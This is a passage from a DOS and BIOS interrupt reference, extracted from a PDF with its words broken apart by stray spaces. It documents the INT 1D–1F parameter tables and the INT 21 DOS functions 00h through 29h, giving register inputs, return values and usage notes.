- si nce many TSR' s don' t mai nt ai n t he i nt egr i t y of t he i nt er r upt
cal l chai n, r el yi ng on t hi s f or TSR popup i sn' t r ecommended
: i nt 1d
^I NT 1D - Vi deo I ni t i al i zat i on Par amet er Tabl e Vect or


- not a t r ue i nt er r upt , but a f ar poi nt er t o a vi deo
i ni t i al i zat i on par amet er t abl e f or vi deo cont r ol l er s

: i nt 1e
^I NT 1E - Di sk I ni t i al i zat i on Par amet er Tabl e Vect or

- not an i nt er r upt , but a f ar poi nt er t o t he di sket t e base t abl e
- t hi s t abl e cont ai ns i ni t i al i zat i on par amet er s f or t he di sk
cont r ol l er used dur i ng f or mat t i ng, r eadi ng, and wr i t i ng t o a di sk

% Di sk I ni t i al i zat i on Par amet er Tabl e Vect or Def i ni t i on:

% Of f set Descr i pt i on

00 7 6 5 4 3 2 1 0 Di sk Cont r ol l er Mode byt e 1
head st ep r at e i n mi l l i seconds ( 0- F)
head unl oad t i me i n mi l l i seconds ( 0- F)

01 7 6 5 4 3 2 1 0 Di sk Cont r ol l er Mode byt e 2
DMA f l ag ( 0 = use DMA)
( head l oad t i me/ 2) - 1 i n mi l l i seconds

02 cl ock t i cks unt i l mot or of f
03 FM or MFM Mode: Log2 ( Byt es per Sect or / 128)
FM=Fr equency Modul at i on used on si ngl e- densi t y di sks
MFM=Modi f i ed Fr equency Modul at i on used on doubl e- si ded di sks
04 l ast sect or on t r ack
05 gap l engt h i n byt es:

Byt es Per Sect or s Wr i t e For mat
MFM Sect or Per Tr ack Gap Gap
1 256 18 0Ah 0Ch
1 256 16 20h 32h
2 512 8 2Ah 50h
2 512 9 1Bh 6Ch
3 1024 4 80h F0h
4 2048 2 C8h FFh
5 4096 1 C8h FFh

06 di sk dat a l engt h
80h f or 128 byt es/ sect or
FFh ot her wi se
07 gap l engt h when f or mat t i ng
08 dat a pat t er n used dur i ng f or mat t i ng
09 f l oppy head bounce del ay ( i n mi l l i seconds)
0A f l oppy mot or st ar t del ay ( i n 0. 125 second i nt er val s)
0B f l oppy mot or st op del ay ( i n 0. 25 second i nt er val s)
Pagina 906 di 991

- see ~I NT 13, 18~

: i nt 1f
^I NT 1F - Gr aphi cs Di spl ay Char act er Bi t Map Tabl e


- not a t r ue i nt er r upt , but a f ar poi nt er t o a t abl e of
char act er bi t maps f or t he gr aphi cs mode r epr esent at i on of
ASCI I char act er s 128 t hr ough 255
- can be used t o change char act er f ont s i n CGA gr aphi cs mode

: DOS i nt er r upt s
^DOS I nt er r upt Summar y


% See t he f ol l owi ng t opi cs f or mor e i nf or mat i on:

~I NT 20~ Pr ogr amt er mi nat e
~I NT 21~ DOS Funct i on Di spat cher
~I NT 22~ Pr ogr amTer mi nat e
~I NT 23~ Ct l - br eak exi t addr ess
~I NT 24~ Cr i t i cal er r or handl er addr ess
~I NT 25~ Absol ut e di sk r ead
~I NT 26~ Absol ut e di sk wr i t e
~I NT 27~ Ter mi nat e but st ay r esi dent
~I NT 28~ DOS i dl e l oop/ schedul er ( undocument ed)
~I NT 29~ Fast char act er out put ( undocument ed)
~I NT 2E~ Execut e command usi ng base l evel COMMAND. COM ( undoc. )
~I NT 2F~ Mul t i pl ex i nt er r upt ( DOS 3. x+)

: i nt 20
^I NT 20 - Pr ogr amTer mi nat e


CS = addr ess of ~PSP~


r et ur ns not hi ng


- I NT 20 r est or es t he t er mi nat e, ~Ct r l - Br eak~, and cr i t i cal er r or
exi t addr esses f r omval ues i n t he PSP, f l ushes al l buf f er s, f r ees
memor y and r et ur ns t o DOS vi a t he t er mi nat i on handl er addr ess
- does not cl ose ~FCB~s
- t hi s f unct i on i s no l onger r ecommended, but can be used by
ver si on of DOS bef or e 2. 0, see ~I NT 21, 4C~ and ~I NT 21, 0~

: i nt 21: DOS ser vi ces: DOS f unct i ons
^I NT 21 - DOS Funct i on Di spat cher

^For mor e i nf or mat i on, see t he f ol l owi ng t opi cs:

~I NT 21, 0~ Pr ogr amt er mi nat e
~I NT 21, 1~ Keyboar d i nput wi t h echo
~I NT 21, 2~ Di spl ay out put
~I NT 21, 3~ Wai t f or auxi l i ar y devi ce i nput
~I NT 21, 4~ Auxi l i ar y out put
~I NT 21, 5~ Pr i nt er out put
~I NT 21, 6~ Di r ect consol e I / O
~I NT 21, 7~ Wai t f or di r ect consol e i nput wi t hout echo
~I NT 21, 8~ Wai t f or consol e i nput wi t hout echo
~I NT 21, 9~ Pr i nt st r i ng
Pagina 907 di 991
~I NT 21, A~ Buf f er ed keyboar d i nput
~I NT 21, B~ Check st andar d i nput st at us
~I NT 21, C~ Cl ear keyboar d buf f er , i nvoke keyboar d f unct i on
~I NT 21, D~ Di sk r eset
~I NT 21, E~ Sel ect di sk
~I NT 21, F~ Open f i l e usi ng ~FCB~
~I NT 21, 10~ Cl ose f i l e usi ng FCB
~I NT 21, 11~ Sear ch f or f i r st ent r y usi ng FCB
~I NT 21, 12~ Sear ch f or next ent r y usi ng FCB
~I NT 21, 13~ Del et e f i l e usi ng FCB
~I NT 21, 14~ Sequent i al r ead usi ng FCB
~I NT 21, 15~ Sequent i al wr i t e usi ng FCB
~I NT 21, 16~ Cr eat e a f i l e usi ng FCB
~I NT 21, 17~ Rename f i l e usi ng FCB
~I NT 21, 18~ DOS dummy f unct i on ( CP/ M) ( not used/ l i st ed)
~I NT 21, 19~ Get cur r ent def aul t dr i ve
~I NT 21, 1A~ Set di sk t r ansf er addr ess
~I NT 21, 1B~ Get al l ocat i on t abl e i nf or mat i on
~I NT 21, 1C~ Get al l ocat i on t abl e i nf o f or speci f i c devi ce
~I NT 21, 1D~ DOS dummy f unct i on ( CP/ M) ( not used/ l i st ed)
~I NT 21, 1E~ DOS dummy f unct i on ( CP/ M) ( not used/ l i st ed)
~I NT 21, 1F~ Get poi nt er t o def aul t dr i ve par amet er t abl e ( undocument ed)
~I NT 21, 20~ DOS dummy f unct i on ( CP/ M) ( not used/ l i st ed)
~I NT 21, 21~ Randomr ead usi ng ~FCB~
~I NT 21, 22~ Randomwr i t e usi ng FCB
~I NT 21, 23~ Get f i l e si ze usi ng FCB
~I NT 21, 24~ Set r el at i ve r ecor d f i el d f or FCB
~I NT 21, 25~ Set i nt er r upt vect or
~I NT 21, 26~ Cr eat e new pr ogr amsegment
~I NT 21, 27~ Randombl ock r ead usi ng FCB
~I NT 21, 28~ Randombl ock wr i t e usi ng FCB
~I NT 21, 29~ Par se f i l ename f or FCB
~I NT 21, 2A~ Get dat e
~I NT 21, 2B~ Set dat e
~I NT 21, 2C~ Get t i me
~I NT 21, 2D~ Set t i me
~I NT 21, 2E~ Set / r eset ver i f y swi t ch
~I NT 21, 2F~ Get di sk t r ansf er addr ess
~I NT 21, 30~ Get DOS ver si on number
~I NT 21, 31~ Ter mi nat e pr ocess and r emai n r esi dent
~I NT 21, 32~ Get poi nt er t o dr i ve par amet er t abl e ( undocument ed)
~I NT 21, 33~ Get / set ~Ct r l - Br eak~ check st at e & get boot dr i ve
~I NT 21, 34~ Get addr ess t o DOS cr i t i cal f l ag ( undocument ed)
~I NT 21, 35~ Get vect or
~I NT 21, 36~ Get di sk f r ee space
~I NT 21, 37~ Get / set swi t ch char act er ( undocument ed)
~I NT 21, 38~ Get / set count r y dependent i nf or mat i on
~I NT 21, 39~ Cr eat e subdi r ect or y ( mkdi r )
~I NT 21, 3A~ Remove subdi r ect or y ( r mdi r )
~I NT 21, 3B~ Change cur r ent subdi r ect or y ( chdi r )
~I NT 21, 3C~ Cr eat e f i l e usi ng handl e
~I NT 21, 3D~ Open f i l e usi ng handl e
~I NT 21, 3E~ Cl ose f i l e usi ng handl e
~I NT 21, 3F~ Read f i l e or devi ce usi ng handl e
~I NT 21, 40~ Wr i t e f i l e or devi ce usi ng handl e
~I NT 21, 41~ Del et e f i l e
~I NT 21, 42~ Move f i l e poi nt er usi ng handl e
~I NT 21, 43~ Change f i l e mode
~I NT 21, 44~ I / O cont r ol f or devi ces ( ~I OCTL~)
~I NT 21, 45~ Dupl i cat e f i l e handl e
~I NT 21, 46~ For ce dupl i cat e f i l e handl e
~I NT 21, 47~ Get cur r ent di r ect or y
~I NT 21, 48~ Al l ocat e memor y bl ocks
Pagina 908 di 991
~I NT 21, 49~ Fr ee al l ocat ed memor y bl ocks
~I NT 21, 4A~ Modi f y al l ocat ed memor y bl ocks
~I NT 21, 4B~ EXEC l oad and execut e pr ogr am( f unc 1 undocument ed)
~I NT 21, 4C~ Ter mi nat e pr ocess wi t h r et ur n code
~I NT 21, 4D~ Get r et ur n code of a sub- pr ocess
~I NT 21, 4E~ Fi nd f i r st mat chi ng f i l e
~I NT 21, 4F~ Fi nd next mat chi ng f i l e
~I NT 21, 50~ Set cur r ent pr ocess i d ( undocument ed)
~I NT 21, 51~ Get cur r ent pr ocess i d ( undocument ed)
~I NT 21, 52~ Get poi nt er t o DOS " I NVARS" ( undocument ed)
~I NT 21, 53~ Gener at e dr i ve par amet er t abl e ( undocument ed)
~I NT 21, 54~ Get ver i f y set t i ng
~I NT 21, 55~ Cr eat e ~PSP~ ( undocument ed)
~I NT 21, 56~ Rename f i l e
~I NT 21, 57~ Get / set f i l e dat e and t i me usi ng handl e
~I NT 21, 58~ Get / set memor y al l ocat i on st r at egy ( 3. x+, undocument ed)
~I NT 21, 59~ Get ext ended er r or i nf or mat i on ( 3. x+)
~I NT 21, 5A~ Cr eat e t empor ar y f i l e ( 3. x+)
~I NT 21, 5B~ Cr eat e new f i l e ( 3. x+)
~I NT 21, 5C~ Lock/ unl ock f i l e access ( 3. x+)
~I NT 21, 5D~ Cr i t i cal er r or i nf or mat i on ( undocument ed 3. x+)
~I NT 21, 5E~ Net wor k ser vi ces ( 3. 1+)
~I NT 21, 5F~ Net wor k r edi r ect i on ( 3. 1+)
~I NT 21, 60~ Get f ul l y qual i f i ed f i l e name ( undocument ed 3. x+)
~I NT 21, 62~ Get addr ess of pr ogr amsegment pr ef i x ( 3. x+)
~I NT 21, 63~ Get syst eml ead byt e t abl e ( MSDOS 2. 25 onl y)
~I NT 21, 64~ Set devi ce dr i ver l ook ahead ( undocument ed 3. 3+)
~I NT 21, 65~ Get ext ended count r y i nf or mat i on ( 3. 3+)
~I NT 21, 66~ Get / set gl obal code page ( 3. 3+)
~I NT 21, 67~ Set handl e count ( 3. 3+)
~I NT 21, 68~ Fl ush buf f er ( 3. 3+)
~I NT 21, 69~ Get / set di sk ser i al number ( undocument ed DOS 4. 0+)
~I NT 21, 6A~ DOS r eser ved ( DOS 4. 0+)
~I NT 21, 6B~ DOS r eser ved
~I NT 21, 6C~ Ext ended open/ cr eat e ( 4. x+)
~I NT 21, F8~ Set OEM I NT 21 handl er ( f unct i ons F9- FF) ( undocument ed)


- i nt 21 f unct i ons ar e cal l ed wi t h t he f unct i on number i n AH
- r egi st er AX may be al t er ed, i t s cont ent s ar e not guar ant eed
- i f an er r or occur s, CF i s set t o 1 and AX cont ai ns a si mpl e
er r or code; ~I NT 21, 59~ can be used t o det er mi ne cause.
- most I NT 21 f unct i ons do not r est or e t he f l ags t o pr e- i nt er r upt
st at e t o al l ow r et ur ni ng of i nf or mat i on vi a t he f l ags r egi st er

: i nt 21, 0
^I NT 21, 0 - Pr ogr amTer mi nat e


AH = 00
CS = ~PSP~ segment addr ess


r et ur ns not hi ng


- r est or es t he t er mi nat e, ~Ct r l - Br eak~, and cr i t i cal er r or
exi t addr esses, f l ushes al l buf f er s, f r ees memor y
and r et ur ns t o DOS vi a t he t er mi nat i on handl er addr ess
- does not cl ose ~FCB~s
- t hi s f unct i on i s no l onger r ecommended, but can be used by
ver si on of DOS bef or e 2. 0, see ~I NT 21, 4C~ and ~I NT 20~

Pagina 909 di 991
: i nt 21, 1
^I NT 21, 1 - Keyboar d I nput wi t h Echo


AH = 01


on r et ur n:
AL = char act er f r omst andar d i nput devi ce


- wai t s f or keyboar d i nput f r omSTDI N and echoes t o STDOUT
- r et ur ns 0 f or ext ended keyst r oke, t hen f unct i on must be
cal l ed agai n t o r et ur n scan code
- i f ~Ct r l - Br eak~ i s det ect ed, ~I NT 23~ i s execut ed

: i nt 21, 2
^I NT 21, 2 - Di spl ay Out put


AH = 02
DL = char act er t o out put


r et ur ns not hi ng


- out put s char act er t o STDOUT
- backspace i s t r eat ed as non- dest r uct i ve cur sor l ef t
- i f ~Ct r l - Br eak~ i s det ect ed, ~I NT 23~ i s execut ed

: i nt 21, 3
^I NT 21, 3 - Wai t f or Auxi l i ar y Devi ce I nput


AH = 03


on r et ur n:
AL = char act er f r omt he auxi l i ar y devi ce


- does not suppl y er r or r et ur ns
- wai t s f or char act er and r eads f r omSTDAUX
- def aul t DOS AUX par amet er s ar e 2400, N, 8, 1

: i nt 21, 4
^I NT 21, 4 - Auxi l i ar y Out put


AH = 04
DL = char act er t o out put


r et ur ns not hi ng


- sends char act er i n DL t o STDAUX
- does not suppl y er r or r et ur ns
- wai t s unt i l STDAUX i s avai l abl e
- def aul t DOS AUX par amet er s ar e 2400, N, 8, 1

: i nt 21, 5
Pagina 910 di 991
^I NT 21, 5 - Pr i nt er Out put


AH = 05
DL = char act er t o out put


r et ur ns not hi ng


- sends char act er i n DL t o STDPRN
- wai t s unt i l STDPRN devi ce i s r eady bef or e out put

: i nt 21, 6
^I NT 21, 6 - Di r ect Consol e I / O

AH = 06
DL = ( 0- FE) char act er t o out put
= FF i f consol e i nput r equest

on r et ur n:
AL = i nput char act er i f consol e i nput r equest ( DL=FF)
ZF = 0 i f consol e r equest char act er avai l abl e ( i n AL)
= 1 i f no char act er i s r eady, and f unct i on r equest
was consol e i nput


- r eads f r omor wr i t es t o t he consol e devi ce dependi ng on
t he val ue of DL
- cannot out put char act er FF ( DL=FF i ndi cat es r ead f unct i on)
- f or consol e r ead, no echo i s pr oduced
- r et ur ns 0 f or ext ended keyst r oke, t hen f unct i on must be
cal l ed agai n t o r et ur n scan code
- i gnor es Ct r l - Br eak and Ct r l - Pr t Sc

: i nt 21, 7
^I NT 21, 7 - Di r ect Consol e I nput Wi t hout Echo


AH = 07


on r et ur n:
AL = char act er f r omSTDI N


- wai t s f or keyboar d i nput unt i l keyst r oke i s r eady
- char act er i s not echoed t o STDOUT
- r et ur ns 0 f or ext ended keyst r oke, t hen f unct i on must be
cal l ed agai n t o r et ur n scan code
- i gnor es Ct r l - Br eak and Ct r l - Pr t Sc
- see ~I NT 21, 1~

: i nt 21, 8
^I NT 21, 8 - Consol e I nput Wi t hout Echo


AH = 08


on r et ur n:
AL = char act er f r omSTDI N

Pagina 911 di 991

- r et ur ns 0 f or ext ended keyst r oke, t hen f unct i on must be
cal l ed agai n t o r et ur n scan code
- wai t s f or char act er f r omSTDI N and r et ur ns dat a i n AL
- i f ~Ct r l - Br eak~ i s det ect ed, ~I NT 23~ i s execut ed

: i nt 21, 9
^I NT 21, 9 - Pr i nt St r i ng


AH = 09
DS: DX = poi nt er t o st r i ng endi ng i n " $"


r et ur ns not hi ng


- out put s char act er st r i ng t o STDOUT up t o " $"
- backspace i s t r eat ed as non- dest r uct i ve
- i f ~Ct r l - Br eak~ i s det ect ed, ~I NT 23~ i s execut ed

: i nt 21, a
^I NT 21, A - Buf f er ed Keyboar d I nput

AH = 0A
DS: DX = poi nt er t o i nput buf f er of t he f or mat :

max count BUFFER ( N byt es)
i nput buf f er
number of char act er s r et ur ned ( byt e)
maxi mumnumber of char act er s t o r ead ( byt e)


r et ur ns not hi ng

- si nce st r i ngs can be pr e- l oaded, i t i s r ecommended t hat t he
def aul t st r i ng be t er mi nat ed wi t h a CR
- N byt es of dat a ar e r ead f r omSTDI N i nt o buf f er +2
- max buf f er si ze i s 255, mi ni mumbuf f er si ze i s 1 byt e
- char s up t o and i ncl udi ng a CR ar e pl aced i nt o t he buf f er
begi nni ng at byt e 2; Byt e 1 r et ur ns t he number of char s
pl aced i nt o t he buf f er ( ext ended codes t ake 2 char act er s)
- DOS edi t i ng keys ar e act i ve dur i ng t hi s cal l
- ~I NT 23~ i s cal l ed i f Ct r l - Br eak or Ct r l - C det ect ed

: i nt 21, b
^I NT 21, B - Check St andar d I nput St at us


AH = 0B


on r et ur n:
AL = 00 i f no char act er avai l abl e
= FF i f char act er avai l abl e


- checks STDI N f or avai l abl e char act er s
- char act er i s not r et ur ned
- i f Ct r l - Br eak i s det ect ed ~I NT 23~ i s execut ed

: i nt 21, c
^I NT 21, C - Cl ear Keyboar d Buf f er and I nvoke Keyboar d Funct i on
Pagina 912 di 991


AH = 0C
AL = 01, 06, 07, 08 or 0A ( I NT 21 i nput f unct i ons)


on r et ur n:
see r et ur n val ues f r omI NT 21, AL wher e AL i s 1, 6, 7, 8 or A


- mai n f unct i on i s t o cl ear t he i nput buf f er and cal l I NT 21h wi t h
t he speci f i ed f unct i on ( i n AL)
- see ~I NT 21, 1~, ~I NT 21, 6~, ~I NT 21, 7~, ~I NT 21, 8~ & ~I NT 21, A~

: i nt 21, d
^I NT 21, D - Di sk Reset


AH = 0D


r et ur ns not hi ng


- al l f i l e buf f er s ar e f l ushed t o di sk
- does NOT updat e di r ect or y ent r y

: i nt 21, e
^I NT 21, E - Sel ect Di sk


AH = 0E
DL = zer o based, dr i ve number ( 0- 25, A: - Z: )


on r et ur n:
AL = one based, t ot al number of l ogi cal dr i ves i ncl udi ng
har df i l es ( 1- 26)


- f or DOS 3. x+, t hi s f unct i on r et ur ns t he number of l ogi cal
dr i ves or t he val ue of LASTDRI VE ( def aul t of 5) i n t he
CONFI G. SYS f i l e

: i nt 21, f
^I NT 21, F - Open a Fi l e Usi ng FCB

AH = 0F
DS: DX = poi nt er t o unopened ~FCB~


on r et ur n:
AL = 00 i f f i l e opened
= FF i f unabl e t o open


- opens an exi st i ng f i l e usi ng a pr evi ousl y set up FCB
- t he FCB f i el ds dr i ve i dent i f i er , f i l ename and ext ensi on
must be f i l l ed i n bef or e cal l
- set s def aul t FCB f i el ds; cur r ent bl ock number i s set t o 0;
r ecor d si ze i s set t o 80h; f i l e si ze, dat e and t i me ar e set
t o t he val ues f r omt he di r ect or y
- does not cr eat e f i l e, see ~I NT 21, 16~
Pagina 913 di 991
- DOS 2. x al l ows openi ng of subdi r ect or i es, DOS 3. x does not
: i nt 21, 10
^I NT 21, 10 - Cl ose a Fi l e Usi ng FCB


AH = 10h
DS: DX = poi nt er t o opened ~FCB~


on r et ur n:
AL = 00 i f f i l e cl osed
= FF i f f i l e not cl osed


- cl oses a pr evi ousl y opened f i l e opened wi t h an FCB
- FCB must be set up wi t h dr i ve i d, f i l ename, and ext ensi on
bef or e cal l

: i nt 21, 11
^I NT 21, 11 - Sear ch f or Fi r st Ent r y Usi ng FCB

AH = 11h
DS: DX = poi nt er t o unopened ~FCB~

on r et ur n:
AL = 00 i f mat chi ng f i l e f ound
= FF i f f i l e not f ound

- sear ches f or f i r st occur r ence of f i l ename speci f i ed i n FCB
- FCB must have dr i ve i d, f i l ename, and ext ensi on bef or e cal l
- ext ended FCB can be used t o speci f y a sear ch cr i t er i a based
on at t r i but es; hi dden, syst em, l abel , and di r ect or y at t r i but es
can be used t o nar r ow t he sear ch ( see ~FI LE ATTRI BUTES~)
- af t er successf ul cal l DTA hol ds an unopened ~FCB~/ ~XFCB~ f or
t he r equest ed f i l e. Usi ng any of t he ot her FCB f unct i ons
dest r oys t hi s ~DTA~ copy of t he FCB/ XFCB
- sear chi ng can be cont i nued wi t h t he FCB f i nd- next f unct i on
- " ?" wi l dcar d suppor t ed af t er DOS 2. 1, " *" suppor t ed i n DOS 3. x
- DOS 2. x can' t f i nd . and . . ent r i es, DOS 3. x can ( unl ess i n r oot )
- see ~I NT 21, 12~

: i nt 21, 12
^I NT 21, 12 - Sear ch f or Next Ent r y Usi ng FCB

AH = 12h
DS: DX = poi nt er t o unopened ~FCB~ r et ur ned f r om
~I NT 21, 11~ or ~I NT 21, 12~


on r et ur n:
AL = 00 i f f i l e f ound
= FF i f f i l e not f ound


- f i nds next mat chi ng f i l e af t er cal l s t o ~I NT 21, 11~ and
~I NT 21, 12~
- FCB shoul d be t he same acr oss cal l s t o I NT 21, 11 and 12
- af t er successf ul cal l ~DTA~ hol ds an unopened ~FCB~/ ~XFCB~ f or
t he r equest ed f i l e. Usi ng any of t he ot her FCB f unct i ons
dest r oys t hi s DTA copy of t he FCB/ XFCB
: i nt 21, 13
^I NT 21, 13 - Del et e Fi l e Usi ng FCB

Pagina 914 di 991

AH = 13h
DS: DX = poi nt er t o an unopened ~FCB~


on r et ur n:
AL = 00 i f f i l e del et ed
= FF i f f i l e not f ound


- del et es unopened f i l e wi t h nor mal at t r i but es
- FCB must cont ai n dr i ve i d, f i l ename, and ext ensi on bef or e cal l
- " ?" wi l dcar d suppor t ed af t er DOS 2. 1, " *" suppor t ed by DOS 3. x+
- DOS 2. x al l owed del et i on of a subdi r ect or y i f ~XFCB~ was pr ovi ded,
even i f f i l es exi st ed, causi ng l ost cl ust er s. DOS 3. x does not
: i nt 21, 14
^I NT 21, 14 - Sequent i al Read Usi ng FCB

AH = 14h
DS: DX = poi nt er t o an opened ~FCB~


on r et ur n:
AL = 00 i f successf ul r ead
= 01 i f end of f i l e ( no dat a r ead)
= 02 i f ~DTA~ i s t oo smal l
= 03 i f end of f i l e or par t i al r ecor d r ead


- r eads a r ecor d f r omf i l e poi nt ed t o by FCB at t he l ocat i on
speci f i ed i n cur r ent bl ock and cur r ent r ecor d number
- dat a r ecor d i s r ead i nt o t he DTA
- FCB r ecor d number i s updat ed
: i nt 21, 15
^I NT 21, 15 - Sequent i al Wr i t e Usi ng FCB


AH = 15h
DS: DX = poi nt er t o an opened ~FCB~


on r et ur n:
AL = 00 i f wr i t e was successf ul
= 01 i f di sket t e i s f ul l or r ead onl y
= 02 i f ~DTA~ i s t oo smal l


- wr i t es a r ecor d f r omt he DTA t o t he cur r ent r ecor d posi t i on
i n f i l e speci f i ed by t he opened FCB
- r ecor d si ze and out put l ocat i on ar e mai nt ai ned i n t he FCB
: i nt 21, 16
^I NT 21, 16 - Cr eat e a Fi l e Usi ng FCB


AH = 16h
DS: DX = poi nt er t o an unopened ~FCB~


on r et ur n:
AL = 00 i f f i l e cr eat ed
= FF i f f i l e cr eat i on f ai l ed


Pagina 915 di 991
- cr eat es f i l e usi ng FCB and l eaves open f or l at er out put
- FCB must be set up wi t h dr i ve i d, f i l ename, and ext ensi on
bef or e cal l
- an ext ended FCB can be used t o al so set ~f i l e at t r i but es~
: i nt 21, 17
^I NT 21, 17 - Rename a Fi l e Usi ng FCB

AH = 17h
DS: DX = poi nt er t o a modi f i ed ~FCB~ of t he f or mat :

Of f set Descr i pt i on
00 dr i ve desi gnat or
01 or i gi nal f i l e name
09 or i gi nal f i l e ext ensi on
11 new f i l e name
19 new ext ensi on


on r et ur n:
AL = 00 i f f i l e r enamed
= FF i f f i l e not r enamed


- al l ows r enami ng of f i l es wi t h nor mal at t r i but es
- " ?" wi l dcar d suppor t ed af t er DOS 2. 1, " *" suppor t ed by
DOS 3. x+
: i nt 21, 19
^I NT 21, 19 - Get Cur r ent Def aul t Dr i ve


AH = 19h


on r et ur n:
AL = cur r ent def aul t dr i ve ( 0=A, 1=B, et c)


- det er mi nes t he cur r ent def aul t dr i ve

: i nt 21, 1a
^I NT 21, 1A - Set Di sk Tr ansf er Addr ess ( DTA)


AH = 1A
DS: DX = poi nt er t o di sk t r ansf er addr ess ( ~DTA~)


r et ur ns not hi ng


- speci f i es t he di sk t r ansf er addr ess t o DOS
- DTA cannot over l ap 64K segment boundar y
- of f set 80h i n t he ~PSP~ i s a 128 byt e def aul t DTA suppl i ed
by DOS upon pr ogr aml oad
- use of t he DTA pr ovi ded by DOS wi l l r esul t i n t he l oss
of t he pr ogr amcommand t ai l whi ch al so occupi es t he 128
byt es st ar t i ng at of f set 80h of t he PSP
- see ~I NT 21, 2F~
: i nt 21, 1b
^I NT 21, 1B - Get Al l ocat i on Tabl e I nf or mat i on


AH = 1B
Pagina 916 di 991


on r et ur n:
AL = sect or s per cl ust er
CX = byt es per sect or
DX = cl ust er s on di sk
DS: BX = poi nt er t o ~Medi a Descr i pt or Byt e~ f ound i n ~FAT~


- r et r i eves i nf or mat i on on capaci t y and f or mat of def aul t dr i ve
- DS: BX can be used t o det er mi ne i f dr i ve i s RAMDI SK or r emovabl e
- see ~I NT 21, 1C~

: i nt 21, 1c
^I NT 21, 1C - Get Al l ocat i on Tabl e I nf o f or Speci f i ed Dr i ve


AH = 1C
DL = dr i ve number ( 0 f or def aul t , 1 = A: , Z: = 26)


on r et ur n:
AL = sect or s per cl ust er
CX = byt es per sect or
DX = cl ust er s on di sk
DS: BX = poi nt er t o ~Medi a Descr i pt or Byt e~ f ound i n ~FAT~


- r et r i eves i nf or mat i on on capaci t y and f or mat of speci f i ed dr i ve
- DS: BX can be used t o det er mi ne i f dr i ve i s RAMDI SK or r emovabl e
- see ~I NT 21, 1B~

: i nt 21, 1f
^I NT 21, 1F - Get Poi nt er t o Cur r ent Dr i ve Par amet er Tabl e
^( Undocument ed)


AH = 1F
DL = dr i ve number ( 0=def aul t , 1=A, . . . )


on r et ur n:
AL = 00 DS: BX i s poi nt er t o dr i ve par amet er t abl e ( ~DPT~)
FF dr i ve does not exi st
DS: BX = poi nt er t o dr i ve par amet er t abl e ( DPT) i f AL=0


- t he f or mat of t he DPT var i es bet ween DOS ver si ons
- cal l s ~I NT 21, 32~ wi t h DL=00 f or DOS ver si on 2. x+
: i nt 21, 21
^I NT 21, 21 - RandomRead Usi ng FCB


AH = 21h
DS: DX = poi nt er t o an opened ~FCB~


on r et ur n:
AL = 00 i f r ead successf ul
= 01 i f EOF ( no dat a r ead)
= 02 i f ~DTA~ i s t oo smal l
= 03 i f EOF ( par t i al r ecor d r ead)

Pagina 917 di 991

- r eads r andomr ecor ds f r oma f i l e opened wi t h an FCB
t o t he DTA
- FCB must be set up wi t h dr i ve i d, f i l ename, ext ensi on,
r ecor d posi t i on and r ecor d l engt h bef or e cal l
- cur r ent r ecor d posi t i on f i el d i n FCB i s not updat ed

: i nt 21, 22
^I NT 21, 22 - RandomWr i t e Usi ng FCB


AH = 22h
DS: DX = f ar poi nt er t o an opened ~FCB~


on r et ur n:
AL = 00 i f wr i t e successf ul
= 01 i f di sket t e f ul l or r ead onl y
= 02 i f ~DTA~ i s t oo smal l


- wr i t e r ecor ds t o r andoml ocat i on i n f i l e opened wi t h FCB
- FCB must be set up wi t h dr i ve i d, f i l ename, ext ensi on,
r ecor d posi t i on and r ecor d l engt h bef or e cal l
- cur r ent r ecor d posi t i on f i el d i n FCB i s not updat ed

: i nt 21, 23
^I NT 21, 23 - Get Fi l e Si ze Usi ng FCB


AH = 23h
DS: DX = poi nt er t o an unopened ~FCB~


on r et ur n:
AL = 00 i f successf ul
= FF i f f i l e not f ound


- det er mi nes t he number of r ecor ds i n a f i l e
- FCB must be set up wi t h dr i ve i d, compl et e f i l ename and
ext ensi on pl us r ecor d l engt h bef or e cal l
- updat es r andomr ecor d posi t i on i n FCB l ocat ed at DS: DX
wi t h f i l e r ecor d count

: i nt 21, 24
^I NT 21, 24 - Set Rel at i ve Recor d Fi el d i n FCB


AH = 24h
DS: DX = poi nt er t o an opened ~FCB~


r et ur ns not hi ng


- modi f i es opened FCB f or r andomoper at i on
- set s FCB r andomr ecor d f i el d t o cur r ent sequent i al bl ock
and r ecor d f i el ds

: i nt 21, 25
^I NT 21, 25 - Set I nt er r upt Vect or

Pagina 918 di 991

AH = 25h
AL = i nt er r upt number
DS: DX = poi nt er t o i nt er r upt handl er


r et ur ns not hi ng


- pr ovi des a saf e met hod f or changi ng i nt er r upt vect or s


- see ~I NT 21, 35~

: i nt 21, 26
^I NT 21, 26 - Cr eat e New Pr ogr amSegment Pr ef i x


AH = 26h
DX = segment addr ess of new ~PSP~


r et ur ns not hi ng


- al l ocat es memor y f or a PSP and copi es cur r ent PSP t her e
- used bef or e DOS 2. x t o spawn a chi l d pr ocess
- t he appl i cat i on i s r esponsi bl e f or al l ocat i ng any memor y
necessar y f or t he chi l d pr ocess
- ~I NT 21, 4B~ ( EXEC) i s now t he r ecommended met hod f or st ar t i ng
a chi l d pr ocess, so t hi s f unct i on shoul d be avoi ded


- see al so ~I NT 21, 55~

: i nt 21, 27
^I NT 21, 27 - RandomBl ock Read Usi ng FCB


AH = 27h
CX = number of r ecor ds t o r ead
DS: DX = poi nt er t o an opened ~FCB~


on r et ur n:
AL = 00 i f r ead was successf ul
= 01 i f EOF ( no dat a r ead)
= 02 i f ~DTA~ i s t oo smal l
= 03 i f EOF ( par t i al r ecor d r ead)
CX = act ual number of r ecor ds r ead


- al l ows r andomaccess and sequent i al r eadi ng of a gr oup
of r ecor ds f r oma f i l e opened wi t h an FCB i nt o t he DTA
- FCB must be set up wi t h dr i ve i d, f i l ename, ext ensi on
r ecor d l engt h and r andomr ecor d number bef or e cal l

: i nt 21, 28
^I NT 21, 28 - RandomBl ock Wr i t e Usi ng FCB


AH = 28h
CX = number of r ecor ds t o wr i t e
Pagina 919 di 991
DS: DX = poi nt er t o an opened ~FCB~


on r et ur n:
AL = 00 i f wr i t e successf ul
= 01 i f di sket t e f ul l or r ead onl y
= 02 i f ~DTA~ i s t oo smal l
CX = number of r ecor ds wr i t t en


- al l ows r andomaccess and sequent i al wr i t i ng of a gr oup
of r ecor ds f r oma f i l e opened wi t h an FCB i nt o t he DTA
- FCB must be set up wi t h r andomr ecor d number and r ecor d si ze
- updat es r andomr ecor d number , cur r ent bl ock and cur r ent
r ecor d f i el ds

: i nt 21, 29
^I NT 21, 29 - Par se a Fi l ename f or FCB

AH = 29h
AL = bi t pat t er n t o cont r ol par si ng ( see bi t meani ngs bel ow)
DS: SI = poi nt er t o a f i l espec t o par se
